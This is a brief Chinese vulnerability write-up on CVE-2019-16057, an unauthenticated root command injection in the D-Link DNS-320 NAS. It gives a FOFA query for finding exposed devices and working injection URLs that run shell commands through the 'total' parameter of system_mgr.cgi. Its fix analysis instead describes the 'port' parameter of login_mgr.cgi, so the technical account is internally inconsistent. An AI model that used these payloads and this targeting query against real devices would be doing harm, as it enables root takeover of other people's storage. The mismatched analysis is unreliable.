漏洞描述
D-Link ShareCenter DNS-320是一款NAS网络存储。
CVE-2019-16057漏洞的触发无需认证,通过利用该漏洞,未经身份验证的远程攻击者可以凭root权限运行任何系统命令。
影响版本
适用于 2.05.B10及以下的版本。
漏洞分析
参考文献:
1. https://xz.aliyun.com/t/7083?time__1311=n4%2BxnD0GDti%3D0%3DNitdDsA3ghD9n%3DeDRYc7nYD&alichlgref=https%3A%2F%2Fwww.baidu.com%2Flink%3Furl%3DRvhxYerLfXFLq7iO3wu_2L9-wu6Fh5ujFXxNmtZJ_awZkQzuew7dp2QK9mFnPNlU%26wd%3D%26eqid%3Db9d22e02008d24d70000000365b077c4
2. https://nosec.org/home/detail/2986.html
环境搭建
FOFA规则:body=“ShareCenter” && product=“D_Link-DNS-ShareCenter” && port=“80”
漏洞复现
执行payload:
1. /cgi-bin/system_mgr.cgi?cmd=cgi_get_log_item&total=;ls;
2. /cgi-bin/system_mgr.cgi?cmd=cgi_get_log_item&total=;df;
3. /cgi-bin/system_mgr.cgi?cmd=cgi_get_log_item&total=;pwd;
修复建议
获得修复版本固件:
$ wget ftp://ftp2.dlink.com/SECURITY_ADVISEMENTS/DNS-320/REVA/DNS-320_REVA_FIRMWARE_v2.06B01.zip
$ unzip DNS-320_REVA_FIRMWARE_v2.06B01.zip
固件解压:
$ binwalk -e DLINK_DNS320.2.06b01\(2.13.0322.2019\)
使用IDA打开login_mgr.cgi文件:
可以看到在修复版本中通过类型转换将参数port的值固定为Integer,规避了特殊字符,因而避免了注入的可能。